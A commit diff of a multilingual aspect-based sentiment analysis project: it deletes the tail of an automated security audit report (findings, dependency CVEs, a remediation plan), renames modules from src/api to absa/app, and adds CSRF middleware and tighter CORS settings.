- **Description:** There is no rate limiting on any endpoint. The predict endpoint accepts arbitrarily large text inputs (only limited by request size), and the batch endpoint accepts CSV files up to 10,000 rows.
222
-
223
- **Attack Scenario:** An attacker sends 1,000,000+ predict requests per minute, causing CPU exhaustion on the inference pipeline and DoS for legitimate users.
224
-
225
- **Recommended Fix:** Implement `slowapi` middleware for FastAPI with per-IP rate limiting (e.g., 60 requests/minute for `/predict`, 10 requests/minute for `/batch`).
226
-
227
- ---
228
-
229
- ### M-02: No Input Size Validation on Predict Endpoint
230
-
231
- **Severity:** Medium
232
- **CWE:** CWE-770 (Allocation of Resources Without Limits or Throttling)
233
- **OWASP:** A04:2021 – Insecure Design
234
- **File:** `api/app/schemas/schemas.py:6-8`, `api/app/routes/predict.py:24`
235
- **Lines:** 6–8, 24
236
-
237
- **Description:** The `ReviewInput` schema accepts a `text` field of type `str` with no `max_length` constraint. While the dashboard imposes a 512-char limit client-side, the API has no server-side enforcement, allowing arbitrarily large text to be submitted.
238
-
239
- **Attack Scenario:** An attacker sends a 100MB text string, exhausting server memory during tokenization and inference.
240
-
241
- **Recommended Fix:** Add `max_length=10000` (or reasonable value) to the Pydantic model field.
242
-
243
- ---
244
-
245
- ### M-03: Unvalidated File Upload β€” No Content-Type Validation
246
-
247
- **Severity:** Medium
248
- **CWE:** CWE-434 (Unrestricted Upload of File with Dangerous Type)
249
- **OWASP:** A05:2021 – Security Misconfiguration
250
- **File:** `api/app/routes/predict.py:54-56`
251
- **Lines:** 54–56
252
-
253
- **Description:** File upload validation only checks the filename extension (`.csv`). The actual file content is not validated:
254
- ```python
255
- if not file.filename.endswith(".csv"):
256
- raise HTTPException(status_code=422, detail="Only CSV files are allowed.")
257
- ```
258
-
259
- An attacker can upload a `.csv` file that is actually an executable, zip bomb, or symlink.
260
-
261
- **Attack Scenario:** An attacker uploads a compressed CSV with "text" column that contains script payloads. The file is saved to a temp directory and processed by Celery.
262
-
263
- **Recommended Fix:** Validate MIME type server-side, limit file size at the upload handler, and validate CSV content structure before processing.
264
-
265
- ---
266
-
267
- ### M-04: Hardcoded MLflow Tracking URI and Secrets in Source Code
268
-
269
- **Severity:** Medium
270
- **CWE:** CWE-798 (Use of Hardcoded Credentials)
271
- **OWASP:** A05:2021 – Security Misconfiguration
272
- **Files:** Various training scripts
273
-
274
- **Description:** MLflow tracking URI is hardcoded as `sqlite:///mlflow.db` in multiple files, and Hugging Face credentials are hardcoded as `YOUR_HF_USERNAME`:
275
- - `src/models/train_joint_absa.py:195` β€” `mlflow.set_tracking_uri("sqlite:///mlflow.db")`
276
- - `src/training/mlflow_utils.py:6` β€” `MLFLOW_TRACKING_URI = "sqlite:///mlflow/mlflow.db"`
277
- - `scripts/upload_models.py:7` β€” `username = os.environ.get("HF_USERNAME", "YOUR_HF_USERNAME")`
278
-
279
- **Attack Scenario:** In production, these would connect to the wrong tracking server or expose repository information.
280
-
281
- **Recommended Fix:** Load MLflow URI and all credentials from environment variables.
282
-
283
- ---
284
-
285
- ### M-05: Prometheus Metrics Expose Sensitive Information
286
-
287
- **Severity:** Medium
288
- **CWE:** CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor)
289
- **OWASP:** A01:2021 – Broken Access Control
290
- **File:** `api/app/main.py:44`
291
- **Line:** 44
292
-
293
- **Description:** Prometheus metrics endpoint `/metrics` is publicly exposed without authentication:
294
- ```python
295
- instrumentator.instrument(app).expose(app, endpoint="/metrics")
296
- ```
297
-
298
- The metrics include request counts, latencies, in-progress requests, and potentially internal system information.
299
-
300
- **Attack Scenario:** An attacker can monitor system performance and request patterns, identifying slow endpoints or determining when batch processing jobs run.
301
-
302
- **Recommended Fix:** Add authentication to the `/metrics` endpoint or restrict it to internal network access.
303
-
304
- ---
305
-
306
- ### M-06: Unrestricted File Write via Batch Results
307
-
308
- **Severity:** Medium
309
- **CWE:** CWE-73 (External Control of File Name or Path)
310
- **OWASP:** A01:2021 – Broken Access Control
311
- **File:** `api/app/tasks/batch_tasks.py:31-32`
312
- **Lines:** 31–32
313
-
314
- **Description:** Batch results are written to `data/results/{job_id}.csv` where `job_id` is a UUID, but the job_id validation is insufficient at earlier stages. The results directory is wide-open for file writes.
315
-
316
- **Attack Scenario:** Combined with path traversal in the download endpoint, an attacker could craft a job_id to write files outside the intended directory.
317
-
318
- **Recommended Fix:** Ensure job_id is validated as a UUID before file operations.
319
-
320
- ---
321
-
322
- ### M-07: No HTTPS/TLS Termination
323
-
324
- **Severity:** Medium
325
- **CWE:** CWE-319 (Cleartext Transmission of Sensitive Information)
326
- **OWASP:** A02:2021 – Cryptographic Failures
327
- **Files:** `config/docker/nginx.dashboard.conf`, `docker-compose.yml`
328
-
329
- **Description:** All services communicate over plain HTTP. The Nginx config listens on port 80 with no TLS. The FastAPI server binds to `0.0.0.0:8000` over HTTP. The dashboard config (`VITE_API_URL=http://localhost:8000`) defaults to HTTP.
330
-
331
- **Attack Scenario:** On a non-local network, an attacker can MITM all API traffic, reading prediction text and response data.
332
-
333
- **Recommended Fix:** Add TLS termination at the Nginx level. Use environment-specific URLs.
334
-
335
- ---
336
-
337
- ### M-08: Hardcoded Redis Configuration
338
-
339
- **Severity:** Medium
340
- **CWE:** CWE-798 (Use of Hardcoded Credentials)
341
- **OWASP:** A05:2021 – Security Misconfiguration
342
- **File:** `config/docker/docker-compose.yml:68-69`
343
-
344
- **Description:** Redis is deployed without authentication (`redis:7-alpine` with no `requirepass`). This is the production docker-compose.
345
-
346
- **Attack Scenario:** Anyone on the Docker network can connect to Redis, read/write cache data, and potentially trigger Celery task manipulation.
347
-
348
- **Recommended Fix:** Add `--requirepass` to Redis or use a password from environment.
349
-
350
- ---
351
-
352
- ### M-09: CORS Not Configured Limitingly
353
-
354
- **Severity:** Medium
355
- **CWE:** CWE-942 (Permissive Cross-domain Policy with Untrusted Domains)
356
- **OWASP:** A05:2021 – Security Misconfiguration
357
- **File:** `api/app/main.py`
358
-
359
- **Description:** FastAPI has no CORS middleware configured. The default behavior allows no CORS headers, but when deployed behind Nginx, the proxy may inadvertently allow permissive CORS. In some configurations, this can lead to CSRF-like attacks.
360
-
361
- **Attack Scenario:** If the API is accessed by browser-based clients without proper CORS configuration, a malicious site could attempt to trick logged-in users.
362
-
363
- **Recommended Fix:** Explicitly configure CORS middleware with allowed origins, methods, and headers.
364
-
365
- ---
366
-
367
- ## Low Findings
368
-
369
- ### L-01: Temp File Not Deleted After Batch Processing
370
-
371
- **Severity:** Low
372
- **CWE:** CWE-377 (Insecure Temporary File)
373
- **OWASP:** A04:2021 – Insecure Design
374
- **File:** `api/app/routes/predict.py:60-61`
375
- **Lines:** 60–61
376
-
377
- **Description:** Uploaded CSV files are written to `tempfile.NamedTemporaryFile(delete=False)` but are never explicitly deleted after processing. The garbage collector may not clean them promptly.
378
-
379
- **Attack Scenario:** Over time, disk space on the server is exhausted by accumulated temp files. Additionally, the temp files may contain sensitive review data.
380
-
381
- **Recommended Fix:** Ensure temp file is deleted in a `finally` block after the Celery task completes, or use `delete=True` (which is default).
382
-
383
- ---
384
-
385
- ### L-02: `load_dotenv()` Called Multiple Times
386
-
387
- **Severity:** Low
388
- **CWE:** CWE-200 (Exposure of Sensitive Information)
389
- **OWASP:** A05:2021 – Security Misconfiguration
390
- **Files:** `api/app/main.py:8`, `api/app/middleware/dependencies.py:6`, `scripts/init_db.py:11`
391
-
392
- **Description:** `load_dotenv()` is called in multiple files, meaning environment variables are loaded from disk in multiple locations. While not directly harmful, it indicates a lack of centralized configuration management.
393
-
394
- **Attack Scenario:** None directly, but inconsistent env loading could lead to different services using different configurations.
395
-
396
- **Recommended Fix:** Call `load_dotenv()` only in the main application entry point.
397
-
398
- ---
399
-
400
- ### L-03: Debug/Verbose Logging Enabled
401
-
402
- **Severity:** Low
403
- **CWE:** CWE-489 (Active Debug Code)
404
- **OWASP:** A05:2021 – Security Misconfiguration
405
- **File:** `config/docker/docker-compose.yml`
406
- **Line:** 12
407
-
408
- **Description:** The production compose file sets `LOG_LEVEL=WARNING`, but the dev compose sets `LOG_LEVEL=INFO` which may expose verbose information.
409
-
410
- **Also:** Multiple `print()` statements are used instead of proper logging throughout the codebase:
411
- - `api/app/main.py:21,24` β€” `print("Initializing Database...")`, `print("Loading Models...")`
412
- - `print()` in many training scripts
413
-
414
- **Attack Scenario:** Verbose logging may expose sensitive information in log files.
415
-
416
- **Recommended Fix:** Use structured logging (`loguru` or standard `logging`) instead of print, and configure log levels via environment variables.
417
-
418
- ---
419
-
420
- ### L-04: SQLite Used in Production Configuration
421
-
422
- **Severity:** Low
423
- **CWE:** CWE-1053 (Missing Documentation for Security Controls)
424
- **OWASP:** A05:2021 – Security Misconfiguration
425
- **File:** `.env`
426
- **Line:** 1
427
-
428
- **Description:** The active `.env` file uses SQLite: `sqlite:////Users/theogengineer/Projects/Multilingual-Absa/absa.db`. SQLite is unsuitable for production workloads β€” no concurrent write support, no access controls.
429
-
430
- **Attack Scenario:** SQLite file accessible to anyone with filesystem access.
431
-
432
- **Recommended Fix:** Use PostgreSQL (already configured in docker-compose.yml).
433
-
434
- ---
435
-
436
- ### L-05: No Session Timeout or Management
437
-
438
- **Severity:** Low
439
- **CWE:** CWE-613 (Insufficient Session Expiration)
440
- **OWASP:** A07:2021 – Identification and Authentication Failures
441
- **Files:** All
442
-
443
- **Description:** There is no session management at all. The Streamlit app makes stateless API calls, and the React dashboard has no auth.
444
-
445
- **Attack Scenario:** None directly (no sessions), but users may assume their "session" is secure.
446
-
447
- **Recommended Fix:** Implement token-based auth for any future session requirements.
448
-
449
- ---
450
-
451
- ### L-06: Hardcoded Seed Values for Randomness
452
-
453
- **Severity:** Low
454
- **CWE:** CWE-335 (Incorrect Usage of Seeds in Pseudo-Random Number Generator)
455
- **OWASP:** A02:2021 – Cryptographic Failures
456
- **Files:** Multiple training scripts
457
-
458
- **Description:** `set_seed(42)` is hardcoded in every training script. This is standard for reproducibility but means the random seed is predictable.
459
-
460
- **Attack Scenario:** An attacker who understands the model training pipeline could predict train/test splits.
461
-
462
- **Recommended Fix:** Make seed configurable via config/env while keeping a default.
463
-
464
- ---
465
-
466
- ### L-07: Unnecessary Console Output in Production
467
-
468
- **Severity:** Low
469
- **CWE:** CWE-532 (Information Exposure Through Query Strings in GET Request)
470
- **OWASP:** A04:2021 – Insecure Design
471
- **Files:** `api/app/main.py:21,24,29`
472
-
473
- **Description:** The application prints messages to stdout at startup, including database initialization status and model loading information. In production, this should use proper logging.
474
-
475
- **Attack Scenario:** Startup logs in container environments may expose internal paths and configuration.
476
-
477
- **Recommended Fix:** Replace `print()` with `logging.info()`.
478
-
479
- ---
480
-
481
- ### L-08: Missing Security Headers
482
-
483
- **Severity:** Low
484
- **CWE:** CWE-693 (Protection Mechanism Failure)
485
- **OWASP:** A05:2021 – Security Misconfiguration
486
- **File:** `config/docker/nginx.dashboard.conf`
487
-
488
- **Description:** The Nginx configuration does not include security headers. Missing headers include:
489
- - `X-Content-Type-Options: nosniff`
490
- - `X-Frame-Options: DENY`
491
- - `Content-Security-Policy`
492
- - `Strict-Transport-Security`
493
- - `X-XSS-Protection`
494
-
495
- **Attack Scenario:** Missing headers weaken browser security protections, making XSS and other attacks easier.
496
-
497
- **Recommended Fix:** Add security headers to the Nginx configuration.
498
-
499
- ---
500
-
501
- ## Dependency Risks
502
-
503
- ### D-01: Pandas Version β€” CVE-2024-42992
504
- - **Installed:** `pandas==2.2.2`
505
- - **Risk:** Medium β€” Deserialization of untrusted data via `pd.read_pickle()`.
506
- - **Impact:** If `pd.read_pickle()` is used with untrusted data, code execution is possible.
507
- - **Current usage:** `pd.read_csv()` is used β€” low risk in current code, but should be patched.
508
- - **Recommendation:** Upgrade to `pandas>=2.2.3`.
509
-
510
- ### D-02: MLflow β€” Security Issue Tracking
511
- - **Installed:** `mlflow==2.13.0`
512
- - **Risk:** Medium β€” MLflow 2.x has known issues with authenticated access control.
513
- - **Impact:** MLflow tracking server runs without authentication by default.
514
- - **Recommendation:** Upgrade to latest `mlflow>=2.15.0` and add authentication.
515
-
516
- ### D-03: FastAPI β€” CVE-2024-24762
517
- - **Installed:** `fastapi==0.111.0`
518
- - **Risk:** Medium β€” Path traversal in `StaticFiles` when mounted.
519
- - **Impact:** Potential arbitrary file reads via static file mounting.
520
- - **Recommendation:** Upgrade to `fastapi>=0.115.0`.
521
-
522
- ### D-04: Jinja2 β€” CVE-2024-56326
523
- - **Installed:** `jinja2>=3.1.4`
524
- - **Risk:** High β€” Sandbox escape vulnerability leading to arbitrary code execution.
525
- - **Impact:** Template injection allowing remote code execution.
526
- - **Recommendation:** Upgrade to `jinja2>=3.1.5`.
527
-
528
- ### D-05: Transformers β€” Dependency Tree Risks
529
- - **Installed:** `transformers==4.39.3`
530
- - **Risk:** Low β€” Large dependency footprint with many transitive dependencies.
531
- - **Impact:** Supply-chain risk from numerous dependencies.
532
- - **Recommendation:** Pin with hash checking in production.
533
-
534
- ### D-06: psycopg2-binary β€” Best Practice
535
- - **Installed:** `psycopg2-binary==2.9.9`
536
- - **Risk:** Low β€” The `-binary` wheel is not recommended for production.
537
- - **Recommendation:** Use `psycopg2` (source build) in production.
538
-
539
- ### D-07: httpx β€” Version Risk
540
- - **Installed:** `httpx==0.27.0`
541
- - **Risk:** Low
542
- - **Recommendation:** Upgrade to `httpx>=0.28.0` for security fixes.
543
-
544
- ---
545
-
546
- ## Infrastructure Risks
547
-
548
- ### I-01: Docker Containers Run Services as Non-Root (Good)
549
- - Dockerfiles correctly add a non-root user.
550
-
551
- ### I-02: `latest` Image Tags for Prometheus and Grafana
552
- - **Risk:** Medium β€” Using `prom/prometheus:latest` and `grafana/grafana:latest` means unpredictable version updates could introduce breaking changes or vulnerabilities.
553
- - **Recommendation:** Pin to specific version tags.
554
-
555
- ### I-03: No Container Resource Limits (Dev Compose)
556
- - **Risk:** Medium β€” No CPU/memory limits in the dev compose, enabling resource exhaustion.
557
-
558
- ### I-04: Exposed Ports Without Firewall
559
- - **Risk:** Medium β€” Multiple ports exposed (8000, 8501, 5432, 6379, 9090, 3001) without network isolation.
560
-
561
- ### I-05: No Docker Network Segmentation
562
- - **Risk:** Low β€” All services in the same Docker network with no ingress restrictions.
563
-
564
- ---
565
-
566
- ## Authentication Review
567
-
568
- | Aspect | Status | Risk |
569
- |--------|--------|------|
570
- | API Authentication | ❌ Not implemented | Critical |
571
- | Streamlit Auth | ❌ Not implemented | Critical |
572
- | Dashboard Auth | ❌ Not implemented | High |
573
- | Database Auth | ⚠️ Hardcoded in compose | High |
574
- | Grafana Auth | ⚠️ Hardcoded `admin` password | High |
575
- | Redis Auth | ❌ No password | Medium |
576
- | Celery Backend Auth | ❌ Depends on Redis | Medium |
577
- | JWT / Token Auth | ❌ Not implemented | High |
578
- | OAuth / SSO | ❌ Not implemented | Low |
579
- | API Key Middleware | ❌ Not implemented | High |
580
-
581
- ---
582
-
583
- ## Authorization Review
584
-
585
- | Aspect | Status | Risk |
586
- |--------|--------|------|
587
- | RBAC | ❌ Not implemented | High |
588
- | Endpoint-level auth | ❌ Not implemented | High |
589
- | File access control | ❌ Path traversal possible | High |
590
- | Admin/Mgmt endpoints | ❌ `/metrics` public | Medium |
591
- | Data isolation | ❌ No user scoping | Medium |
592
-
593
- ---
594
-
595
- ## API Security Review
596
-
597
- | Category | Status | Risk |
598
- |----------|--------|------|
599
- | Input Validation | ⚠️ Partial (Pydantic) | High |
600
- | Rate Limiting | ❌ Not implemented | High |
601
- | CORS | ❌ Not configured | Medium |
602
- | CSRF Protection | ❌ Not implemented | Medium |
603
- | HTTPS/TLS | ❌ Not configured | High |
604
- | Security Headers | ❌ Not configured | Med |
605
- | Content-Type Validation | ❌ Extension-only check | Medium |
606
- | Request Size Limits | ⚠️ Client-side only | High |
607
- | Error Handling | ⚠️ Verbose errors | High |
608
- | Logging | ❌ Inconsistent (print) | Low |
609
-
610
- ---
611
-
612
- ## Secure Coding Recommendations
613
-
614
- ### Immediate (Critical)
615
- 1. Remove `| safe` from Jinja2 template in `predict_result.html:71`
616
- 2. Replace `innerHTML` with DOM API methods in `predict_result.html:86`
617
- 3. Fix path traversal in `/download/{job_id}` endpoint
618
-
619
- ### Short-term (High)
620
- 4. Add authentication middleware (API key or JWT)
621
- 5. Remove hardcoded credentials from docker-compose.yml (use Docker secrets)
622
- 6. Add SQL parameterization in `drift_monitor.py:32`
623
- 7. Add `max_length` constraint to Pydantic schemas
624
- 8. Implement rate limiting with `slowapi`
625
- 9. Validate MIME type on file upload
626
- 10. Add TLS termination at Nginx
627
-
628
- ### Medium-term
629
- 11. Replace all `print()` with structured logging
630
- 12. Add CORS middleware configuration
631
- 13. Add security headers to Nginx
632
- 14. Upvote dependencies (Jinja2 >=3.1.5, pandas >=2.2.3)
633
- 15. Pin Docker image versions
634
- 16. Add `Content-Security-Policy` header
635
- 17. Configure logging properly (structured, levels)
636
-
637
- ---
638
-
639
- ## Prioritized Remediation Plan
640
-
641
- ### Phase 1 β€” Critical (24 hours)
642
- 1. Patch `predict_result.html` β€” remove `| safe`, replace `innerHTML`
643
- 2. Patch `results.py` β€” add path traversal protection
644
- 3. Patch `predict.py` β€” add `max_length` to schema, file size validation
645
-
646
- ### Phase 2 β€” High (1 week)
647
- 4. Add API authentication middleware
648
- 5. Remove hardcoded credentials from docker-compose
649
- 6. Fix SQL injection in `drift_monitor.py`
650
- 7. Add rate limiting
651
- 8. Add TLS termination
652
- 9. Add MIME type validation on uploads
653
-
654
- ### Phase 3 β€” Medium (2 weeks)
655
- 10. Add CORS middleware
656
- 11. Add security headers to Nginx
657
- 12. Pin Docker image versions
658
- 13. Update dependencies
659
- 14. Replace `print()` with logging
660
-
661
- ### Phase 4 β€” Low (Monthly)
662
- 15. Add session management
663
- 16. Implement RBAC
664
- 17. Configure CSRF protection
665
- 18. Add audit logging
666
- 19. Add security scanning to CI/CD pipeline
667
-
668
- ---
669
-
670
- *Audit performed by Automated Security Review. All findings should be verified manually before remediation.*
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
{api β†’ absa}/__init__.py RENAMED
File without changes
{api/app β†’ absa/data}/__init__.py RENAMED
File without changes
{src β†’ absa}/data/augmentation.py RENAMED
File without changes
{src β†’ absa}/data/bio_tagger.py RENAMED
File without changes
{src β†’ absa}/data/dataset.py RENAMED
@@ -1,9 +1,9 @@
1
  import json
2
  from datasets import load_from_disk
3
  from collections import defaultdict
4
- from src.utils.config import RAW_DIR, SEMEVAL_TRAIN_PATH, SEMEVAL_TEST_PATH
5
- from src.data.preprocess import clean
6
- from src.data.lang_detect import detect_language
7
 
8
 
9
  def process_semeval():
 
1
  import json
2
  from datasets import load_from_disk
3
  from collections import defaultdict
4
+ from absa.utils.config import RAW_DIR, SEMEVAL_TRAIN_PATH, SEMEVAL_TEST_PATH
5
+ from absa.data.preprocess import clean
6
+ from absa.data.lang_detect import detect_language
7
 
8
 
9
  def process_semeval():
{src β†’ absa}/data/hf_dataset.py RENAMED
@@ -6,7 +6,7 @@ from typing import List, Dict, Any
6
  from datasets import Dataset, DatasetDict
7
  from transformers import AutoTokenizer
8
  from sklearn.model_selection import train_test_split
9
- from src.data.bio_tagger import convert_to_bio
10
 
11
  np.random.seed(42)
12
 
 
6
  from datasets import Dataset, DatasetDict
7
  from transformers import AutoTokenizer
8
  from sklearn.model_selection import train_test_split
9
+ from absa.data.bio_tagger import convert_to_bio
10
 
11
  np.random.seed(42)
12
 
{src β†’ absa}/data/hindi_loader.py RENAMED
@@ -1,7 +1,7 @@
1
  import json
2
- from src.utils.config import RAW_DIR, AMAZON_HINDI_PATH
3
- from src.data.preprocess import clean
4
- from src.data.lang_detect import detect_language
5
 
6
 
7
  def process_hindi():
 
1
  import json
2
+ from absa.utils.config import RAW_DIR, AMAZON_HINDI_PATH
3
+ from absa.data.preprocess import clean
4
+ from absa.data.lang_detect import detect_language
5
 
6
 
7
  def process_hindi():
{src β†’ absa}/data/lang_detect.py RENAMED
@@ -1,6 +1,6 @@
1
  import re
2
  import fasttext
3
- from src.utils.config import FASTTEXT_MODEL_PATH
4
 
5
  _model = None
6
 
 
1
  import re
2
  import fasttext
3
+ from absa.utils.config import FASTTEXT_MODEL_PATH
4
 
5
  _model = None
6
 
{src β†’ absa}/data/preprocess.py RENAMED
@@ -1,6 +1,6 @@
1
  import re
2
  import unicodedata
3
- from src.data.transliterate import transliterate
4
 
5
 
6
  def clean(text: str, language: str) -> str:
 
1
  import re
2
  import unicodedata
3
+ from absa.data.transliterate import transliterate
4
 
5
 
6
  def clean(text: str, language: str) -> str:
{src β†’ absa}/data/transliterate.py RENAMED
File without changes
{api/app/core β†’ absa/evaluation}/__init__.py RENAMED
File without changes
{src β†’ absa}/evaluation/benchmark_latency.py RENAMED
File without changes
{src β†’ absa}/evaluation/cross_lingual_eval.py RENAMED
@@ -10,7 +10,7 @@ from transformers import (
10
  from sklearn.metrics import f1_score
11
  import mlflow
12
 
13
- from src.training.mlflow_utils import setup_mlflow
14
 
15
 
16
  def load_data(file_path: Path):
 
10
  from sklearn.metrics import f1_score
11
  import mlflow
12
 
13
+ from absa.training.mlflow_utils import setup_mlflow
14
 
15
 
16
  def load_data(file_path: Path):
{src β†’ absa}/evaluation/final_eval.py RENAMED
File without changes
{api/app/middleware β†’ absa/models}/__init__.py RENAMED
File without changes
{src β†’ absa}/models/baseline.py RENAMED
@@ -8,7 +8,7 @@ from sklearn.linear_model import LogisticRegression
8
  from sklearn.metrics import f1_score, confusion_matrix, classification_report
9
  from sklearn.model_selection import train_test_split
10
  import mlflow
11
- from src.training.mlflow_utils import log_training_run
12
 
13
 
14
  def load_data(file_paths: List[Path]) -> pd.DataFrame:
 
8
  from sklearn.metrics import f1_score, confusion_matrix, classification_report
9
  from sklearn.model_selection import train_test_split
10
  import mlflow
11
+ from absa.training.mlflow_utils import log_training_run
12
 
13
 
14
  def load_data(file_paths: List[Path]) -> pd.DataFrame:
{src β†’ absa}/models/export_onnx.py RENAMED
File without changes
{src β†’ absa}/models/train_aspect_extraction.py RENAMED
@@ -12,7 +12,7 @@ from transformers import (
12
  from seqeval.metrics import f1_score as seqeval_f1_score
13
  import mlflow
14
 
15
- from src.training.mlflow_utils import setup_mlflow
16
 
17
 
18
  def compute_metrics(p):
 
12
  from seqeval.metrics import f1_score as seqeval_f1_score
13
  import mlflow
14
 
15
+ from absa.training.mlflow_utils import setup_mlflow
16
 
17
 
18
  def compute_metrics(p):
{src β†’ absa}/models/train_joint_absa.py RENAMED
File without changes
{src β†’ absa}/models/train_multilingual.py RENAMED
File without changes
{src β†’ absa}/models/train_qlora.py RENAMED
File without changes
{src β†’ absa}/models/train_sentiment.py RENAMED
@@ -13,7 +13,7 @@ from transformers import (
13
  from sklearn.metrics import f1_score, confusion_matrix
14
  import mlflow
15
 
16
- from src.training.mlflow_utils import setup_mlflow
17
 
18
 
19
  def compute_metrics(p):
 
13
  from sklearn.metrics import f1_score, confusion_matrix
14
  import mlflow
15
 
16
+ from absa.training.mlflow_utils import setup_mlflow
17
 
18
 
19
  def compute_metrics(p):
{api/app/routes β†’ absa/training}/__init__.py RENAMED
File without changes
{src β†’ absa}/training/mlflow_utils.py RENAMED
File without changes
{api/app/schemas β†’ absa/utils}/__init__.py RENAMED
File without changes
{src β†’ absa}/utils/config.py RENAMED
File without changes
{api/app/services β†’ app}/__init__.py RENAMED
File without changes
{src β†’ app/core}/__init__.py RENAMED
File without changes
{api/app β†’ app}/core/templates.py RENAMED
@@ -14,6 +14,7 @@ from __future__ import annotations
14
 
15
  from pathlib import Path
16
 
 
17
  from fastapi.templating import Jinja2Templates
18
 
19
  # Resolve relative to this file:
@@ -21,3 +22,15 @@ from fastapi.templating import Jinja2Templates
21
  _TEMPLATE_DIR: Path = Path(__file__).parent.parent / "templates"
22
 
23
  templates = Jinja2Templates(directory=str(_TEMPLATE_DIR))
 
 
 
 
 
 
 
 
 
 
 
 
 
14
 
15
  from pathlib import Path
16
 
17
+ from fastapi import Request
18
  from fastapi.templating import Jinja2Templates
19
 
20
  # Resolve relative to this file:
 
22
  _TEMPLATE_DIR: Path = Path(__file__).parent.parent / "templates"
23
 
24
  templates = Jinja2Templates(directory=str(_TEMPLATE_DIR))
25
+
26
+
27
+ # ── Global template context processor ─────────────────────────────────────────
28
+ # Ensures every template rendered via this instance always has access to
29
+ # csrf_token β€” even partial/fragment templates that don't go through _base_ctx.
30
+
31
+ def _csrf_processor(request: Request) -> dict: # type: ignore[no-redef]
32
+ from app.middleware.csrf import generate_csrf_token
33
+ return {"csrf_token": generate_csrf_token()}
34
+
35
+
36
+ templates.context_processors.append(_csrf_processor) # type: ignore[arg-type]
{api/app β†’ app}/main.py RENAMED
@@ -6,17 +6,18 @@ from slowapi import Limiter, _rate_limit_exceeded_handler
6
  from slowapi.util import get_remote_address
7
  from slowapi.errors import RateLimitExceeded
8
 
 
9
  from fastapi.staticfiles import StaticFiles
10
  from pathlib import Path
11
 
12
  load_dotenv()
13
 
14
- from api.app.routes import predict, results # noqa: E402
15
- from api.app.routes import pages # noqa: E402 Phase 2: Jinja2 page routes
16
- from api.app.middleware.metrics import instrumentator # noqa: E402
17
- from api.app.services.absa_pipeline import pipeline # noqa: E402
18
- from api.app.schemas.db_models import Base # noqa: E402
19
- from api.app.middleware.dependencies import engine # noqa: E402
20
 
21
 
22
  @asynccontextmanager
@@ -45,13 +46,16 @@ app = FastAPI(
45
  app.state.limiter = limiter
46
  app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
47
 
 
 
48
  app.add_middleware(
49
  CORSMiddleware,
50
- allow_origins=os.getenv("CORS_ORIGINS", "http://localhost:3000,http://localhost:8501,http://localhost:8000").split(","),
51
  allow_credentials=True,
52
  allow_methods=["GET", "POST"],
53
  allow_headers=["*"],
54
  )
 
55
  app.include_router(predict.router, tags=["Predict"])
56
  app.include_router(results.router, tags=["System"])
57
 
 
6
  from slowapi.util import get_remote_address
7
  from slowapi.errors import RateLimitExceeded
8
 
9
+ import os
10
  from fastapi.staticfiles import StaticFiles
11
  from pathlib import Path
12
 
13
  load_dotenv()
14
 
15
+ from app.routes import predict, results # noqa: E402
16
+ from app.routes import pages # noqa: E402 Phase 2: Jinja2 page routes
17
+ from app.middleware.metrics import instrumentator # noqa: E402
18
+ from app.services.absa_pipeline import pipeline # noqa: E402
19
+ from app.schemas.db_models import Base # noqa: E402
20
+ from app.middleware.dependencies import engine # noqa: E402
21
 
22
 
23
  @asynccontextmanager
 
46
  app.state.limiter = limiter
47
  app.add_exception_handler(RateLimitExceeded, _rate_limit_exceeded_handler)
48
 
49
+ from app.middleware.csrf import CSRFMiddleware # noqa: E402
50
+
51
  app.add_middleware(
52
  CORSMiddleware,
53
+ allow_origins=os.getenv("CORS_ORIGINS", "http://localhost:3000,http://localhost:8000").split(","),
54
  allow_credentials=True,
55
  allow_methods=["GET", "POST"],
56
  allow_headers=["*"],
57
  )
58
+ app.add_middleware(CSRFMiddleware) # Skips /api/* routes; protects HTMX form endpoints
59
  app.include_router(predict.router, tags=["Predict"])
60
  app.include_router(results.router, tags=["System"])
61
 
